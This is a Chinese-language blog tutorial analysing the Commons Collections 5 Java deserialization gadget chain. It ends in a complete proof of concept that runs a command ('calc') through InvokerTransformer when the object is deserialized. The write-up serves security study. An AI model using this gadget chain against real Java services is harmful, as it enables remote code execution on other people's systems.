CC5

S1naG0u Lv2

本文分析了Commons Collections 5链的利用原理,通过TiedMapEntry.toString()方法触发LazyMap.get()执行ChainedTransformer.transform(),利用BadAttributeValueExpException.readObject()在反序列化时自动调用toString()方法。

危险方法分析

CC1_LazyMap一样通过触发LazyMap.get()执行ChainedTransformer.transform()来执行危险方法

利用链构造

CC1_LazyMap不同的是CC1利用了sun.reflect.annotation.AnnotationInvocationHandler.invoke()+sun.reflect.annotation.AnnotationInvocationHandler.readObject()通过动态代理+readObject()触发invoke()导致执行

CC5是利用了TiedMapEntry.toString()+BadAttributeValueExpException.readObject()触发LazyMap.get()

首先来看TiedMapEntry.toString()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
public String toString() {
return getKey() + "=" + getValue();
}

public Object getKey() {
return key;
}

public Object getValue() {
return map.get(key);
}

public TiedMapEntry(Map map, Object key) {
super();
this.map = map;
this.key = key;
}

当触发TiedMapEntry.toString()时会间接触发map.get(key)

map又是可控的可以直接通过构造方法传入所以直接创建一个TiedMapEntry传入lazymap即可完成TiedMapEntry的构造

再看BadAttributeValueExpException.readObject()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
ObjectInputStream.GetField gf = ois.readFields();
Object valObj = gf.get("val", null);

if (valObj == null) {
val = null;
} else if (valObj instanceof String) {
val= valObj;
} else if (System.getSecurityManager() == null
|| valObj instanceof Long
|| valObj instanceof Integer
|| valObj instanceof Float
|| valObj instanceof Double
|| valObj instanceof Byte
|| valObj instanceof Short
|| valObj instanceof Boolean) {
val = valObj.toString();
} else { // the serialized object is from a version without JDK-8019292 fix
val = System.identityHashCode(valObj) + "@" + valObj.getClass().getName();
}
}

此处从反序列化后的内容中获取一个val传给valObj,然后执行valObj.toString()

查看BadAttributeValueExpException的构造方法

1
2
3
public BadAttributeValueExpException (Object val) {
this.val = val == null ? null : val.toString();
}

此处刚刚好可以传入一个val

所以后半部分直接可以new一个BadAttributeValueExpException然后将构造好的TiedMapEntry传入

当反序列化时就可以通过

BadAttributeValueExpException.readObject()

->TiedMapEntry.toString()

->LazyMap.get()

从而执行到危险代码

完整POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
public class CC5 {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> hashMap = new HashMap<>();
Map lazymap = LazyMap.decorate(hashMap, chainedTransformer);

TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap, 1);
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(tiedMapEntry);
Serialize(badAttributeValueExpException);
UnSerialize("CC5.bin");

}
}
  • 标题: CC5
  • 作者: S1naG0u
  • 创建于 : 2025-03-04 19:25:15
  • 更新于 : 2025-08-12 16:17:49
  • 链接: https://s1nag0u.github.io/2025/03/04/CC5/
  • 版权声明: 本文章采用 CC BY-NC-SA 4.0 进行许可。